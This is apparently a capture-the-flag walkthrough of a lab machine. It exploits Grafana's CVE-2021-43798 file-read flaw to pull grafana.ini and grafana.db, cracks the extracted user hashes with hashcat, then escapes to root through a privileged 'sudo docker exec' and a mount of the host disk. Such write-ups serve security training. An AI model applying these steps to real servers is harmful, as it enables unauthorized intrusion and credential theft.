Data starts out with Grafana being ran on port 3000. We are able to use Unauthorized Arbitrary File Read Vulnerability (CVE-2021-43798) and exfil grafana.ini and grafana.db. Having these we can use a python script to convert this data and hashes to sha256 for hashcat. This gets us on the box as boris. Looking at his privileges we can execute docker exec. To get root privileges on the docker container we can run sudo /snap/bin/docker exec --privileged -u 0 -it grafana /bin/bash. From here we can see the filesystem df -h and since we’re root we can mkdir /tmp/pwnd and mount /dev/xXxXx /mnt/pwnd. This lets us read, write, and execute on host filesystem outside the container.
Initial Nmap
1 2 3
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 3000/tcp open ppp? syn-ack ttl 62
HTTP (Port 3000 - Grafana)
Going to this shows a login page with a version number at the bottom we can use.
Researching gave us CVE-2021-43798, where we can include files using Directory Traversal. So we can exfil the grafana.ini and the grafana.db
Looking in the db file we see hashes for admin and boris. We note the password, and the salt. We can use a python script to generate sha256 hashes for use so we can crack them with hashcat.
CREATE TABLE `user` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL , `version` INTEGER NOT NULL , `login` TEXT NOT NULL , `email` TEXT NOT NULL , `name` TEXT NULL , `password` TEXT NULL , `salt` TEXT NULL , `rands` TEXT NULL , `company` TEXT NULL , `org_id` INTEGER NOT NULL , `is_admin` INTEGER NOT NULL , `email_verified` INTEGER NULL , `theme` TEXT NULL , `created` DATETIME NOT NULL , `updated` DATETIME NOT NULL , `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0); INSERT INTO user VALUES(1,0,'admin','admin@localhost','','7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8','YObSoLj55S','hLLY6QQ4Y6','',1 ,1,0,'','2022-01-23 12:48:04','2022-01-23 12:48:50',0,'2022-01-23 12:48:50',0); INSERT INTO user VALUES(2,0,'boris','boris@data.vl','boris','<SNIP>f4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8','<SNIP>','mYl941ma8w',' ',1,0,0,'','2022-01-23 12:49:11','2022-01-23 12:49:11',0,'2012-01-23 12:49:11',0);
print(f"[+] Boris hash: {boris_hash}") print(f"[+] Admin hash: {admin_hash}")
with open("hashes.txt", "w") as file: file.write(boris_hash + "\n") file.write(admin_hash + "\n")
Running this script gave us hashes we can run through hashcat.
1 2
[+] Boris hash: sha256:10000:<REDACTED>:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= [+] Admin hash: sha256:10000:<REDACTED>:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
Hashcat reveals a cleartext password for boris.
1 2 3 4 5 6 7 8 9 10 11 12 13
hashcat (v6.2.6) starting in autodetect mode Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254 boris@ip-10-10-10-11:~$
Doing some manual enumeration we find docker running, we can confirm by looking for a socket(usually /run/docker.sock). We also can see if we can read/write to it.
We can look at his permissions and see we can use docker as well with root privileges.
1 2 3 4 5 6
boris@ip-10-10-10-11:~$ sudo -l Matching Defaults entries for boris on ip-10-10-10-11: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11: (root) NOPASSWD: /snap/bin/docker exec *
Docker PrivEsc
We can use docker to escalate our privilege. We know the docker container running is grafana. We can use the --privileged flag to create a misconfig that will allow us to access the host filesystem. Also setting our -u to 0 (root user).